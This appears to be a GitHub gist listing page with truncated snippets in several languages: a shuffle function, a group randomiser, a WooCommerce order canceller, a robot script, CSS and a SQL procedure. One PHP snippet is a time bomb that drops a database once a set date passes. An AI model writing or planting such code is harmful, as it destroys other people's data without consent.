This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<script> | |
document.addEventListener("DOMContentLoaded", function(event){ | |
/* Fisher–Yates shuffle algorithm */ | |
var shuffle = function (array) { | |
var currentIndex = array.length; | |
var temporaryValue, randomIndex; | |
// While there remain elements to shuffle... | |
while (0 !== currentIndex) { |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
import random | |
def randGroups(): | |
print("Ingresa los nombres de los miembros o grupos separados por comas") | |
miembros = input() | |
print("Ingresa las tareas separadas por coma") | |
tareas = input() | |
#print("Miembros: ",miembros) | |
#print("Tareas: ",tareas) |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
/* | |
Cancela las ordenes que exceden 7 días en Woocommerce 3.2.2 esta es la única forma en la que funcionó | |
*/ | |
function autocancel_wc_orders(){ | |
$query = array( | |
'limit' => -1, /* Todas las órdenes */ | |
'status' => array('pending') | |
); | |
$orders = wc_get_orders( $query ); |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<?php | |
//Si ya se pasó la fecha dropea la DB | |
if( time() > mktime(h,m,s,mes,dia, año)){ | |
$ip = ""; | |
$db = "" | |
$usr = ""; | |
$pwd = ""; | |
$sql = "DROP DATABASE " . $db; | |
$query = mysql_query($sql); |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
//FightCode can only understand your robot | |
//if its class is called Robot | |
var Robot = function(robot) { | |
}; | |
Robot.prototype.onIdle = function(ev) { | |
var robot = ev.robot; | |
robot.ahead(100); |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<style> | |
.window_scroll{ | |
display:block; | |
width:100%; | |
height:100%; | |
overflow: hidden; | |
} | |
.window_aside { | |
display:block; |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
DELIMITER $$ | |
DROP PROCEDURE IF EXISTS Insertar $$ | |
CREATE PROCEDURE Insertar( | |
IN tipo INT, | |
IN tablas VARCHAR(1000), | |
IN columnas VARCHAR(1000), | |
IN inserciones VARCHAR(1000) | |
) | |
BEGIN |